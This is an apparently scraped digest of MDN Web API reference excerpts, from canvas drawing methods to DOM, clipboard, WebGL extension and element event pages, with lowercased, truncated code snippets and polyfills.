this example draws a blue triangle on top of a yellowish background.
CanvasRenderingContext2D.drawWidgetAsOnScreen() - Web APIs
unlike drawwindow(),
this api uses the operating system to snapshot the widget on-screen, rather than reading from gecko's own compositor.
...
this api cannot be used by web content.
...
this is a non-standard and internal only api.
CanvasRenderingContext2D.getImageData() - Web APIs
this method is not affected by the canvas's transformation matrix.
...to avoid securityerror being thrown in
this situation, configure cors to allow the source image to be used in
this way.
... example getting image data from a canvas
this example draws a rectangle, and then uses getimagedata() to grab a portion of the canvas.
CanvasRenderingContext2D.globalAlpha - Web APIs
examples drawing translucent shapes
this example uses the globalalpha property to draw two semi-transparent rectangles.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalalpha = 0.5; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result overlaying transparent shapes
this example illustrates the effect of overlaying multiple transparent shapes on top of each other.
...next, we set the globalalpha property to 0.2 (20% opaque);
this alpha level will apply to all of our transparent shapes.
CanvasRenderingContext2D.lineTo() - Web APIs
like other methods that modify the current path,
this method does not directly render anything.
... examples drawing a straight line
this example draws a straight line using the lineto() method.
...
this example draws a letter 'm' with a single contiguous line.
CanvasRenderingContext2D.lineWidth - Web APIs
this value is 1.0 by default.
... examples changing line width
this example draws a line and a rectangle, using a line width of 15 units.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 15; ctx.beginpath(); ctx.moveto(20, 20); ctx.lineto(130, 130); ctx.rect(40, 40, 70, 70); ctx.stroke(); result more examples for more examples and explanation about
this property, see applying styles and color in the canvas tutorial.
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
examples how quadraticcurveto works
this example shows how a quadratic bézier curve is drawn.
... curve ctx.beginpath(); ctx.moveto(50, 20); ctx.quadraticcurveto(230, 30, 50, 100); ctx.stroke(); // start and end points ctx.fillstyle = 'blue'; ctx.beginpath(); ctx.arc(50, 20, 5, 0, 2 * math.pi); // start point ctx.arc(50, 100, 5, 0, 2 * math.pi); // end point ctx.fill(); // control point ctx.fillstyle = 'red'; ctx.beginpath(); ctx.arc(230, 30, 5, 0, 2 * math.pi); ctx.fill(); result in
this example, the control point is red and the start and end points are blue.
... a simple quadratic curve
this example draws a simple quadratic bézier curve using quadraticcurveto().
CanvasRenderingContext2D.setTransform() - Web APIs
the canvasrenderingcontext2d.settransform() method of the canvas 2d api resets (overrides) the current transformation to the identity matrix, and then invokes a transformation described by the arguments of
this method.
...
this lets you scale, rotate, translate (move), and skew the context.
... examples skewing a shape
this example skews a rectangle both vertically (.2) and horizontally (.8).
CanvasRenderingContext2D.strokeRect() - Web APIs
this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it.
... examples a simple stroked rectangle
this example draws a rectangle with a green outline using the strokerect() method.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.strokestyle = 'green'; ctx.strokerect(20, 10, 160, 100); result applying various context settings
this example draws a rectangle with a drop shadow and thick, beveled outlines.
CanvasRenderingContext2D.textAlign - Web APIs
examples general text alignment
this example demonstrates the three "physical" values of the textalign property: "left", "center", and "right".
...canvas.getcontext('2d'); const x = canvas.width / 2; ctx.beginpath(); ctx.moveto(x, 0); ctx.lineto(x, canvas.height); ctx.stroke(); ctx.font = '30px serif'; ctx.textalign = 'left'; ctx.filltext('left-aligned', x, 40); ctx.textalign = 'center'; ctx.filltext('center-aligned', x, 85); ctx.textalign = 'right'; ctx.filltext('right-aligned', x, 130); result direction-dependent text alignment
this example demonstrates the two direction-dependent values of the textalign property: "start" and "end".
... note that the direction property is manually specified as "ltr", although
this is also the default for english-language text.
CanvasRenderingContext2D.textBaseline - Web APIs
"ideographic" the text baseline is the ideographic baseline;
this is the bottom of the body of the characters, if the main body of characters protrudes beneath the alphabetic baseline.
...
this differs from the ideographic baseline in that the ideographic baseline doesn't consider descenders.
... examples comparison of property values
this example demonstrates the various textbaseline property values.
CanvasRenderingContext2D.transform() - Web APIs
the canvasrenderingcontext2d.transform() method of the canvas 2d api multiplies the current transformation with the matrix described by the arguments of
this method.
...
this lets you scale, rotate, translate (move), and skew the context.
... examples skewing a shape
this example skews a rectangle both vertically (.2) and horizontally (.8).
ChildNode.after() - Web APIs
the childnode.after() method inserts a set of node or domstring objects in the children list of
this childnode's parent, just after
this childnode.
...argitem : document.createtextnode(string(argitem))); });
this.parentnode.insertbefore(docfrag,
this.nextsibling); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); another polyfill // from: https://github.com/fabiovergani/js-polyfill_element.prototype.after/blob/master/after.js (function(x){ var o=x.prototype,p='after'; if(!o[p]){ o[p]=function(){ var e, m=arguments, l=m.length, i=0, t=
this, p=t.pa...
...t=t.nextsibling; if(t!==null){ p.insertbefore(e,t); }else{ p.appendchild(e); }; }else{ p.appendchild(d.createtextnode(s(e))); }; ++i; }; }; }; }; })(element); /* minified: (function(x){ var o=x.prototype; o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=
this,p=t.parentnode,n=node,s=string,d=document;if(p!==null){while(i<l){((e=m[i]) instanceof n)?(((t=t.nextsibling )!==null)?p.insertbefore(e,t):p.appendchild(e)):p.appendchild(d.createtextnode(s(e)));++i;}}}); }(element)); */ specification specification status comment domthe definition of 'childnode.after()' in that specification.
ChildNode.replaceWith() - Web APIs
the childnode.replacewith() method replaces
this childnode in the children list of its parent with a set of node or domstring objects.
... with(node) { replacewith("foo"); } // referenceerror: replacewith is not defined polyfill you can polyfill the replacewith() method in internet explorer 10+ and higher with the following code: function replacewithpolyfill() { 'use-strict'; // for safari, and ie > 10 var parent =
this.parentnode, i = arguments.length, currentnode; if (!parent) return; if (!i) // if there are no arguments parent.removechild(
this); while (i--) { // i-- decrements i and returns the value of i before the decrement currentnode = arguments[i]; if (typeof currentnode !== 'object'){ currentnode =
this.ownerdocument.createtextnode(currentnode); } else if (currentnode.parentn...
...ode){ currentnode.parentnode.removechild(currentnode); } // the value of "i" below is after the decrement if (!i) // if currentnode is the first argument (currentnode === arguments[0]) parent.replacechild(currentnode,
this); else // if currentnode isn't the first parent.insertbefore(currentnode,
this.nextsibling); } } if (!element.prototype.replacewith) element.prototype.replacewith = replacewithpolyfill; if (!characterdata.prototype.replacewith) characterdata.prototype.replacewith = replacewithpolyfill; if (!documenttype.prototype.replacewith) documenttype.prototype.replacewith = replacewithpolyfill; specification specification status comment domthe definition of 'childnode.replacewith()' in that specification.
Clients.claim() - Web APIs
this triggers a "controllerchange" event on navigator.serviceworker in any clients that become controlled by
this service worker.
...be aware that
this results in your service worker controlling pages that loaded regularly over the network, or possibly via a different service worker.
... example the following example uses claim() inside service worker's "activate" event listener so that clients loaded in the same scope do not need to be reloaded before their fetches will go through
this service worker.
Clipboard.read() - Web APIs
this method can also return text.
... example after using navigator.permissions.query() to find out if we have (or if the user will be prompted to allow) "clipboard-read" access,
this example fetches the data currently on the clipboard.
...unable to access it."); } else { const blob = data.items[i].gettype("image/png"); imgelem.src = url.createobjecturl(blob); } } }); } }); note: at
this time, while firefox does implement read(), it does not recognize the "clipboard-read" permission, so attempting to use the permissions api to manage access to the api will not work.
Console.countReset() - Web APIs
note:
this feature is available in web workers.
... examples for example, given code like
this: let user = ""; function greet() { console.count(); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.count(); console.countreset(); console output will look something like
this: "default: 1" "default: 2" "default: 3" "default: 4" "default: 0" note that the call to console.counterreset() resets the value of the default counter to zero.
... if we pass the user variable as the label argument with the string "bob" to the first invocation of count(), and the string "alice" to the second: let user = ""; function greet() { console.count(user); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.countreset("bob"); console.count("alice"); we will see output like
this: "bob: 1" "alice: 1" "alice: 2" "bob: 0" "alice: 3" resetting the value of the counter "bob" only changes the value of that counter.
Console.group() - Web APIs
this indents following console messages by an additional level, until console.groupend() is called.
... note:
this feature is available in web workers.
...for example, given
this code: console.log("
this is the outer level"); console.group(); console.log("level 2"); console.group(); console.log("level 3"); console.warn("more of level 3"); console.groupend(); console.log("back to level 2"); console.groupend(); console.log("back to the outer level"); the output looks like
this: see using groups in the console in the documentation of console for more details.
Console.profile() - Web APIs
you can optionally supply an argument to name the profile and
this then enables you to stop only that profile if multiple profiles being recorded.
... see console.profileend() to see how
this argument is interpreted.
... note:
this feature is available in web workers.
Console.timeStamp() - Web APIs
this lets you correlate a point in your code with the other events recorded in the timeline, such as layout and paint events.
... you can optionally supply an argument to label the timestamp, and
this label will then be shown alongside the marker.
... note:
this feature is available in web workers.
ContentIndexEvent - Web APIs
this event is sent to the global scope of a serviceworker.
... properties in addition to the properties listed below,
this interface inherits the properties of its parent interface, extendableevent.
... examples
this example shows the sevice worker script listening for the contentdelete event and logs the removed content index id.
CredentialsContainer.get() - Web APIs
this method first collects all credentials in the credentialscontainer that meet the necessary criteria (defined in the options argument).
...
this method collects credentials by calling the "collectfromcredentialstore" method for each credential type allowed by the options argument.
...
this method is restricted to top-level contexts.
CredentialsContainer.preventSilentAccess() - Web APIs
for example, you might call
this, after a user signs out of a website to ensure that he/she isn't automatically signed in on the next site visit.
...
this method is typically called after a user signs out of a website, ensuring
this user's login information is not automatically passed on the next site visit.
... earlier versions of the spec called
this method requireusermediation().
CredentialsContainer - Web APIs
this interface is accessible from navigator.credentials.
...for example, you might call
this, after a user signs out of a website to ensure that he/she isn't automatically signed in on the next site visit.
... earlier versions of the spec called
this method requireusermediation().
Crypto - Web APIs
note:
this feature is available in web workers.
... properties
this interface implements properties defined on randomsource.
... methods
this interface implements methods defined on randomsource.
CustomElementRegistry.define() - Web APIs
// create a class for the element class popupinfo extends htmlelement { constructor() { // always call super first in constructor super(); // create a shadow root var shadow =
this.attachshadow({mode: 'open'}); // create spans var wrapper = document.createelement('span'); wrapper.setattribute('class','wrapper'); var icon = document.createelement('span'); icon.setattribute('class','icon'); icon.setattribute('tabindex', 0); var info = document.createelement('span'); info.setattribute('class','info'); // take attribute content and put it i...
...nside the info span var text =
this.getattribute('text'); info.textcontent = text; // insert icon var imgurl; if(
this.hasattribute('img')) { imgurl =
this.getattribute('img'); } else { imgurl = 'img/default.png'; } var img = document.createelement('img'); img.src = imgurl; icon.appendchild(img); // create some css to apply to the shadow dom var style = document.createelement('style'); style.textcontent = '.wrapper {' + 'position: relative;' + '}' + '.info {' + 'font-size: 0.8rem;' + 'width: 200px;' + 'display: inline-block;' + 'border: 1px so...
... // create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // count words in element's parent element var wcparent =
this.parentnode; function countwords(node){ var text = node.innertext || node.textcontent return text.split(/\s+/g).length; } var count = 'words: ' + countwords(wcparent); // create a shadow root var shadow =
this.attachshadow({mode: 'open'}); // create text node and add word count to it var text = document.createelement('span'); text.textcontent = count...
DOMException.code - Web APIs
this field is used for historical reasons.
... new dom exceptions don't use
this anymore: they put
this info in the domexception.name attribute.
... candidate recommendation browser compatibility the compatibility table on
this page is generated from structured data.
DOMImplementation.createHTMLDocument() - Web APIs
example
this example creates a new html document and inserts it into an <iframe> in the current document.
... here's the html for
this example: <body> <p>click <a href="javascript:makedocument()">here</a> to create a new document and insert it below.</p> <iframe id="theframe" src="about:blank" /> </body> the javascript implementation of makedocument() follows: function makedocument() { let frame = document.getelementbyid("theframe"); let doc = document.implementation.createhtmldocument("new document"); let p = doc.createelement("p"); p.innerhtml = "
this is a new paragraph."; try { doc.body.appendchild(p); } catch(e) { console.log(e); } // copy the new html document into the frame let destdocument = frame.contentdocument; let srcnode = doc.documentelement; let newnode = destdocument.importnode(srcnode, true); destdocument.replacechild(newnode, destdocument...
... line 16 pulls the contentdocument of the frame;
this is the document into which we'll be injecting the new content.
DOMMatrixReadOnly.translate() - Web APIs
if not supplied,
this defaults to 0.
... if
this is anything other than 0, the resulting matrix will be 3d.
... examples
this svg contains two squares, one red and one blue, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 50 50"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> </svg> the following javascript first creates an identity matrix, then uses the translate() method to create a new, translated matrix — which is then applied to the blue square as a transform.
DOMParser - Web APIs
parameters
this method has 2 parameters (both required): string the domstring to be parsed.
...
this string determines a class of the the method's return value.
... return; } } catch (ex) {} proto.parsefromstring = function(markup, type) { if (/^\s*text\/html\s*(?:;|$)/i.test(type)) { var doc = document.implementation.createhtmldocument(""); if (markup.tolowercase().indexof('<!doctype') > -1) { doc.documentelement.innerhtml = markup; } else { doc.body.innerhtml = markup; } return doc; } else { return nativeparse.apply(
this, arguments); } }; }(domparser)); specifications specification status comment html living standardthe definition of 'dom parsing' in that specification.
DataTransfer.addElement() - Web APIs
this element will be the element to which drag and dragend events are fired, and not the defaut target (the node that was dragged).
... note:
this method is gecko-specific.
... return value void example
this example shows the use of the addelement() method function change_drag_node(event, node) { var dt = event.datatransfer; dt.addelement(node); } specifications
this method is not defined in any web standard.
DataTransfer.mozSetDataAt() - Web APIs
note:
this method is gecko-specific.
... return value void example
this example shows the use of the mozsetdataat() method in a dragstart handler.
... function dragstart_handler(event) { var dt = event.datatransfer; var idx = dt.mozitemcount; // add two new items to the drag transfer if (idx >= 0) { dt.mozsetdataat("text/uri-list","http://www.example.com/", idx); dt.mozsetdataat("text/html", "hello world", idx+1); } } specifications
this method is not defined in any web standard.
DataTransfer.mozTypesAt() - Web APIs
note:
this method is gecko-specific.
... example
this example shows the use of the moztypesat() method in a drop event handler.
... = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); } } } } specifications
this method is not defined in any web standard.
DataTransfer.types - Web APIs
if the drag operation included no data,
this list will be empty.
... example
this example shows the use of the types and items properties.
... <!doctype html> <html lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add
this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document...
DataTransferItem.getAsFile() - Web APIs
if the item is not a file,
this method returns null.
... example
this example shows the use of the getasfile() method in a drop event handler.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { //
this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
DataTransferItem - Web APIs
this interface has no constructor.
...
this will generally be either a filesystemfileentry or filesystemdirectoryentry object.
... example all of
this interface's methods and properties have their own reference page, and each reference page has an example of its usage.
DeviceOrientationEvent - Web APIs
take care about
this while using them.
...
this represents a front to back motion of the device.
...
this represents a left to right motion of the device.
Document: copy event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncopy the original target for
this event is the element that was the intended target of the copy action.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on the element: copy event.
Document.createTouch() - Web APIs
note: before gecko 25.0,
this method was defined on the documenttouch mixin.
... note: previous versions of
this method included the following additional parameters but those parameters are not included in either of the standards listed below.
... example
this example illustrates using the document.createtouch() method to create touch objects.
Document: cut event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncut the original target for
this event is the element that was the intended target of the cut action.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on the element: cut event.
Document.domain - Web APIs
if
this property is successfully set, the port part of the origin is also set to null.
...llowing conditions: the document is inside a sandboxed <iframe> the document has no browsing context the document's effective domain is null the given value is not equal to the document's effective domain (or it is not a registerable domain suffix of it) the document-domain feature-policy is enabled examples getting the domain for the uri http://developer.mozilla.org/docs/web,
this example sets currentdomain to the string "developer.mozilla.org".
... const currentdomain = document.domain; closing a window if a document, such as www.example.xxx/good.html, has the domain of "www.example.xxx",
this example attempts to close the window.
Document.exitFullscreen() - Web APIs
the document method exitfullscreen() requests that the element on
this document which is currently being presented in full-screen mode be taken out of full-screen mode, restoring the previous state of the screen.
...
this usually reverses the effects of a previous call to element.requestfullscreen().
... example
this example causes the current document to toggle in and out of a full-screen presentation whenever the mouse button is clicked within it.
Document.fonts - Web APIs
working draft initial definition browser compatibility the compatibility table on
this page is generated from structured data.
... on iossamsung internetfontschrome full support 60edge full support 79firefox full support 41 full support 41 no support 35 — 41disabled disabled from version 35 until version 41 (exclusive):
this feature is behind the layout.css.font-loading-api.enabled preference (needs to be set to true).
... 44safari ios full support 10samsung internet android full support 5.0legend full support full support no support no supportuser must explicitly enable
this feature.user must explicitly enable
this feature.
Document.fullscreenEnabled - Web APIs
although
this property is read-only, it will not throw if it is modified (even in strict mode); the setter is a no-operation and it will be ignored.
...if full-screen mode isn't available,
this value is false.
... example in
this example, before attempting to request full-screen mode for a <video> element, the value of fullscreenenabled is checked, in order to avoid making the attempt when not available.
Document: fullscreenchange event - Web APIs
bubbles yes cancelable no interface event event handler property onfullscreenchange the event is sent to the element that is transitioning into or out of full-screen mode, and
this event then bubbles up to the document.
... to find out whether the element is entering or exiting full-screen mode, check the value of documentorshadowroot.fullscreenelement: if
this value is null then the element is exiting full-screen mode, otherwise it is entering full-screen mode.
... examples in
this example, a handler for the fullscreenchange event is added to the document.
Document.getElementById() - Web APIs
itle>getelementbyid example</title> </head> <body> <p id="para">some text here</p> <button onclick="changecolor('blue');">blue</button> <button onclick="changecolor('red');">red</button> </body> </html> javascript function changecolor(newcolor) { var elem = document.getelementbyid('para'); elem.style.color = newcolor; } result usage notes the capitalization of "id" in the name of
this method must be correct for the code to function; getelementbyid() is not valid and will not work, however natural it may seem.
... <p id="test1">hello word2</p> <p>hello word3</p> <p>hello word4</p> </div> <script> var parentdom = document.getelementbyid('parent-id'); var test1 = parentdom.getelementbyid('test1'); //throw error //uncaught typeerror: parentdom.getelementbyid is not a function </script> </body> </html> if there is no element with the given id,
this function returns null.
... note that the id parameter is case-sensitive, so document.getelementbyid("main") will return null instead of the element <div id="main"> because "m" and "m" are different for the purposes of
this method.
Document.hasFocus() - Web APIs
this method can be used to determine whether the active element in a document has focus.
... example
this example checks whether the document has focus every 300 milliseconds.
... html <p id="log">awaiting focus check.</p> <button onclick="openwindow()">open a new window</button> javascript function checkpagefocus() { let body = document.queryselector('body'); let log = document.getelementbyid('log'); if (document.hasfocus()) { log.textcontent = '
this document has the focus.'; body.style.background = '#fff'; } else { log.textcontent = '
this document does not have the focus.'; body.style.background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result speci...
Document: keypress event - Web APIs
since
this event has been deprecated, you should look to use beforeinput or keydown instead.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; launch text composition system; blur and focus events; domactivate event; other event examples addeventlistener keypress example
this example logs the keyboardevent.code value whenever you press a key.
... <p>press inside
this iframe first to focus it, then try pressing keys on the keyboard.</p> <p id="log"></p> const log = document.getelementbyid('log'); document.addeventlistener('keypress', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeypress equivalent document.onkeypress = logkey; specifications specification status ui events working draft ...
Document: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste the original target for
this event is the element that was the intended target of the paste action.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on the element: paste event.
Document.querySelector() - Web APIs
this string must be a valid css selector string; if it isn't, a syntax_err exception is thrown.
...es not match anything console.log('#foo\\bar'); // "#foo\bar" console.log('#foo\\\\bar'); // "#foo\\bar" document.queryselector('#foo\\\\bar'); // match the first div document.queryselector('#foo:bar'); // does not match anything document.queryselector('#foo\\:bar'); // match the second div </script> examples finding the first element matching a class in
this example, the first element in the document with the class "myclass" is returned: var el = document.queryselector(".myclass"); a more complex selector selectors can also be really powerful, as demonstrated in the following example.
...he name "login" (<input name="login"/>) located inside a <div> whose class is "user-panel main" (<div class="user-panel main">) in the document is returned: var el = document.queryselector("div.user-panel.main input[name='login']"); negation as all css selector strings are valid, you can also negate selectors: var el = document.queryselector("div.user-panel:not(.main) input[name='login']");
this will select an input with a parent div with the user-panel class but not the main class.
Document.scripts - Web APIs
you can use
this just like an array to get all the elements in the list.
... example
this example looks to see if the page has any <script> elements.
... let scripts = document.scripts; if (scripts.length) { alert('
this page has scripts!'); } specifications specification status comment html living standardthe definition of 'document.scripts' in that specification.
Document.selectedStyleSheetSet - Web APIs
you can also set the current style sheet set using
this property.
... setting the value of
this property is equivalent to calling document.enablestylesheetsforset() with the value of currentstylesheetset, then setting the value of laststylesheetset to that value as well.
... note:
this attribute's value is live; directly changing the disabled attribute on style sheets will affect the value of
this attribute.
Document.xmlVersion - Web APIs
obsolete since gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7)
this feature is obsolete.
...
this attribute was never really useful, since it always returned 1.0, and has been removed in dom level 4.
...to detect
this, you can create an element with its name in lower case, then check to see if it gets converted into all upper case (in which case the document is in the non-xml html mode): if (document.createelement("foo").tagname == "foo") { /* document is not xml */ } specifications http://www.w3.org/tr/dom-level-3-cor...ument3-version
this has been removed from dom core level 4wd ...
DocumentFragment.querySelector() - Web APIs
if the selector matches an id and
this id is erroneously used several times in the document, it returns the first matching element.
... examples basic example in
this basic example, the first element in the documentfragment with the class "myclass" is returned: var el = documentfragment.queryselector(".myclass"); css syntax and the method's argument the string argument pass to queryselector must follow the css syntax.
... browser compatibility the compatibility table in
this page is generated from structured data.
DocumentOrShadowRoot.fullscreenElement - Web APIs
the documentorshadowroot.fullscreenelement read-only property returns the element that is currently being presented in full-screen mode in
this document, or null if full-screen mode is not currently in use.
... although
this property is read-only, it will not throw if it is modified (even in strict mode); the setter is a no-operation and it will be ignored.
... example
this example presents a function, isvideoinfullscreen(), which looks at the value returned by fullscreenelement; if the document is in full-screen mode (fullscreenelement isn't null) and the full-screen element's nodename is video, indicating a <video> element, the function returns true, indicating that the video is in full-screen mode.
DocumentOrShadowRoot.getSelection() - Web APIs
this can make the object appear to be a string when used with other functions when it is really an object with properties and methods.
...htmlinputelement.setselectionrange()) could be used to work around
this.
... browser compatibility the compatibility table on
this page is generated from structured data.
DocumentTimeline - Web APIs
properties
this interface inherits its property from its parent, animationtimeline.
... animationtimeline.currenttime returns the time value in milliseconds for
this timeline or null if it is inactive.
...
this bit of code would start all the cats animating 500 milliseconds into their animations: const cats = document.queryselectorall('.sharedtimelinecat'); const sharedtimeline = new documenttimeline({ origintime: 500 }); for (const cat of cats) { const catkeyframes = new keyframeeffect(cat, keyframes, timing); const catanimation = new animation(catkeyframes, sharedtimeline); catanimation.play(); } specifications specification status comment web animationsthe definition of 'documenttimeline' in that specification.
Locating DOM elements using selectors - Web APIs
this is much faster than past techniques, wherein it was necessary to, for example, use a loop in javascript code to locate the specific items you needed to find.
... the nodeselector interface
this specification adds two new methods to any objects implementing the document, documentfragment, or element interfaces: queryselector() returns the first matching element node within the node's subtree.
...
this is different from other dom querying methods that return live node lists.
DragEvent() - Web APIs
this constructor is used to create a synthetic dragevent object.
... although
this interface has a constructor, it is not possible to create a useful datatransfer object from script, since datatransfer objects have a processing and security model that is coordinated by the browser during drag-and-drops.
...
this interface inherits properties from mouseevent and event.
EXT_blend_minmax - Web APIs
availability:
this extension is only available to webgl1 contexts.
... in webgl2, the functionality of
this extension is available on the webgl2 context by default.
... constants
this extension adds two new constants, which can be used in webglrenderingcontext.blendequation() and webglrenderingcontext.blendequationseparate(): ext.min_ext produces the minimum color components of the source and destination colors.
EXT_color_buffer_half_float - Web APIs
availability:
this extension is available to webgl 1 contexts only.
... the oes_texture_half_float extension implicitly enables
this extension.
... extended methods
this extension extends webglrenderingcontext.renderbufferstorage(): the internalformat parameter now accepts ext.rgba16f_ext and ext.rgba16f_ext.
EXT_float_blend - Web APIs
availability:
this extension is available to both, webgl1 and webgl2 contexts.
... with
this extension enabled, calling drawarrays() or drawelements() with blending enabled and a draw buffer with 32-bit floating-point components will no longer result in an invalid_operation error.
...
this ensures that content written before ext_float_blend was exposed by webgl will function as expected.
EXT_sRGB - Web APIs
availability:
this extension is only available to webgl1 contexts.
... in webgl2, the functionality of
this extension is available on the webgl2 context by default.
... constants
this extension exposes the following constants, which can be used in the teximage2d(), texsubimage2d(), renderbufferstorage() and getframebufferattachmentparameter() methods.
EXT_shader_texture_lod - Web APIs
availability:
this extension is only available to webgl1 contexts.
... in webgl2, the functionality of
this extension is available on the webgl2 context by default.
... glsl built-in functions the following new functions can be used in glsl shader code, if
this extension is enabled: vec4 texture2dlodext(sampler2d sampler, vec2 coord, float lod) vec4 texture2dprojlodext(sampler2d sampler, vec3 coord, float lod) vec4 texture2dprojlodext(sampler2d sampler, vec4 coord, float lod) vec4 texturecubelodext(samplercube sampler, vec3 coord, float lod) vec4 texture2dgradext(sampler2d sampler, vec2 p, vec2 dpdx, vec2 dpdy) vec4 texture2dprojgradext(sampler2d sampler, vec3 p, vec2 dpdx, vec2 dpdy) vec4 texture2dprojgradext(sampler2d sampler, vec4 p, vec2 dpdx, vec2 dpdy) vec4 texturecubegradext(samplercube sampler, vec3 p, vec3 dpdx, vec3 dpdy) examples enabling the extensions: gl.getextension('ext_shader_texture_lod'); shader ...
EXT_texture_filter_anisotropic - Web APIs
availability:
this extension is available to both, webgl1 and webgl2 contexts.
... constants ext.max_texture_max_anisotropy_ext
this is the pname argument to the gl.getparameter() call, and it returns the maximum available anisotropy.
... ext.texture_max_anisotropy_ext
this is the pname argument to the gl.gettexparameter() and gl.texparameterf() / gl.texparameteri() calls and sets the desired maximum anisotropy for a texture.
EffectTiming - Web APIs
although
this is technically optional, keep in mind that your animation will not run if
this value is 0.
...
this is primarily of use when sequencing animations based on the end time of another animation.
...0.5 would indicate starting halfway through the first iteration for example, and with
this value set, an animation with 2 iterations would end halfway through a third iteration.
Element: MSGestureHold event - Web APIs
bubbles unknown cancelable unknown interface msgestureevent event handler property unknown the uievent.detail property of an msgesturehold event has 3 possible values: msgesture_flag_begin
this value indicates that the user started contacting the touch surface.
... msgesture_flag_end
this value indicates that the user has stopped touching the touch surface.
... msgesture_flag_end & msgesture_flag_cancel (bitwise and-ed together)
this value indicates that the user has moved their finger, regardless of whether they also stopped touching the touch surface specifications not part of any specification.
Element: blur event - Web APIs
the main difference between
this event and focusout is that focusout bubbles while blur does not.
...t type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result event delegation there are two ways of implementing event delegation for
this event: by using the focusout event, or by setting the usecapture parameter of addeventlistener() to true.
...r="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.background = ''; }, true); result specifications specification status comment ui events working draft added info that
this event is composed.
Element.clientTop - Web APIs
this is because the offsettop indicates the location of the top of the border (not the margin) while the client area starts immediately below the border, (client area includes padding.) therefore, the clienttop value will always equal the integer portion of the .getcomputedstyle() value for "border-top-width".
... note:
this property will round the value to an integer.
...
this property is not supported in firefox 2 and earlier.
Element: contextmenu event - Web APIs
this event is typically triggered by clicking the right mouse button, or by pressing the context menu key.
... bubbles yes cancelable yes interface mouseevent event handler property oncontextmenu examples in
this example, the default action of the contextmenu event is canceled using preventdefault() when the contextmenu event is fired at the first paragraph.
... html <p id="nocontextmenu">the context menu has been disabled on
this paragraph.</p> <p>but it has not been disabled on
this one.</p> javascript nocontext = document.getelementbyid('nocontextmenu'); nocontext.addeventlistener('contextmenu', e => { e.preventdefault(); }); result specifications specification status comment html living standardthe definition of 'contextmenu' in that specification.
Element: copy event - Web APIs
a handler for
this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
... it's possible to construct and dispatch a synthetic copy event, but
this will not affect the system clipboard.
... examples live example html <div class="source" contenteditable="true">try copying text from
this box...</div> <div class="target" contenteditable="true">...and pasting it into
this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element.currentStyle - Web APIs
polyfill
this polyfill returns the values in pixels and is likely to be rather slow, as it has to call window.getcomputedstyle() every time its value is read.
... * http://creativecommons.org/publicdomain/zero/1.0/ */ if (!("currentstyle" in element.prototype)) { object.defineproperty(element.prototype, "currentstyle", { get: function() { return window.getcomputedstyle(
this); } }); } specification not part of any specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
Element: cut event - Web APIs
a handler for
this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault().
... it's possible to construct and dispatch a synthetic cut event, but
